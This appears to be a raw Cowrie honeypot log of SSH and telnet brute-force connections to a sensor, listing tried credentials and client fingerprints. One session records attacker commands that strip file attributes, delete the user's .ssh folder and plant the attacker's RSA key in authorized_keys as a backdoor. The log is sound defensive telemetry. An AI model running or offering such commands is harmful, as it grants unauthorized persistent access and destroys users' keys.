{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":45166,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fbbef3f066d","protocol":"ssh","message":"New connection: 165.22.63.98:45166 (159.203.135.109:22) [session: 3fbbef3f066d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:31.806689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:31.811337Z","src_ip":"165.22.63.98","session":"3fbbef3f066d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:32.047482Z","src_ip":"165.22.63.98","session":"3fbbef3f066d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123!","message":"login attempt [admin/abc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:33.024404Z","src_ip":"165.22.63.98","session":"3fbbef3f066d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:34.263462Z","src_ip":"165.22.63.98","session":"3fbbef3f066d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":41332,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc17e2103df2","protocol":"ssh","message":"New connection: 187.141.71.166:41332 (159.203.135.109:22) [session: bc17e2103df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:52.948032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:52.954519Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:53.074664Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"redhat","message":"login attempt [oracle/redhat] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:53.581491Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:53.857301Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:53.861134Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:53.865378Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:53.987325Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.324597Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.327686Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.450683Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.454641Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":41344,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd4ac57c2a97","protocol":"ssh","message":"New connection: 187.141.71.166:41344 (159.203.135.109:22) [session: dd4ac57c2a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.565404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.569934Z","src_ip":"187.141.71.166","session":"dd4ac57c2a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:54.688244Z","src_ip":"187.141.71.166","session":"dd4ac57c2a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:55.194696Z","src_ip":"187.141.71.166","session":"dd4ac57c2a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:56.317075Z","src_ip":"187.141.71.166","session":"dd4ac57c2a97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":41354,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d4aee0e8a7","protocol":"ssh","message":"New connection: 187.141.71.166:41354 (159.203.135.109:22) [session: b2d4aee0e8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:56.433577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:56.438101Z","src_ip":"187.141.71.166","session":"b2d4aee0e8a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:56.562339Z","src_ip":"187.141.71.166","session":"b2d4aee0e8a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:57.077104Z","src_ip":"187.141.71.166","session":"b2d4aee0e8a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:57.204755Z","src_ip":"187.141.71.166","session":"bc17e2103df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:57.208971Z","src_ip":"187.141.71.166","session":"b2d4aee0e8a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.22.164.232","src_port":37804,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0651eb323c","protocol":"telnet","message":"New connection: 38.22.164.232:37804 (10.17.0.5:23) [session: 6a0651eb323c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:48:57.557898Z"}
{"eventid":"cowrie.session.closed","duration":13.320798635482788,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:10.878611Z","src_ip":"38.22.164.232","session":"6a0651eb323c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":34844,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a6dbcfdc176","protocol":"ssh","message":"New connection: 165.22.63.98:34844 (159.203.135.109:22) [session: 1a6dbcfdc176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:32.747055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:32.751480Z","src_ip":"165.22.63.98","session":"1a6dbcfdc176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:32.988505Z","src_ip":"165.22.63.98","session":"1a6dbcfdc176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jordan12","message":"login attempt [root/jordan12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:33.969347Z","src_ip":"165.22.63.98","session":"1a6dbcfdc176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:35.209744Z","src_ip":"165.22.63.98","session":"1a6dbcfdc176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":59720,"dst_ip":"159.203.135.109","dst_port":22,"session":"b92e90e426e6","protocol":"ssh","message":"New connection: 187.141.71.166:59720 (159.203.135.109:22) [session: b92e90e426e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:44.025297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:44.029936Z","src_ip":"187.141.71.166","session":"b92e90e426e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:44.149395Z","src_ip":"187.141.71.166","session":"b92e90e426e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demouser","password":"123456","message":"login attempt [demouser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:44.657591Z","src_ip":"187.141.71.166","session":"b92e90e426e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:45.781926Z","src_ip":"187.141.71.166","session":"b92e90e426e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.143.10","src_port":36573,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f54f6fbc20","protocol":"telnet","message":"New connection: 38.49.143.10:36573 (10.17.0.5:23) [session: 19f54f6fbc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:49:56.513772Z"}
{"eventid":"cowrie.session.closed","duration":12.891600847244263,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:09.405282Z","src_ip":"38.49.143.10","session":"19f54f6fbc20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":52750,"dst_ip":"159.203.135.109","dst_port":22,"session":"4364b9dbf6b0","protocol":"ssh","message":"New connection: 165.22.63.98:52750 (159.203.135.109:22) [session: 4364b9dbf6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:37.218995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:37.223699Z","src_ip":"165.22.63.98","session":"4364b9dbf6b0","protocol":"ssh"}
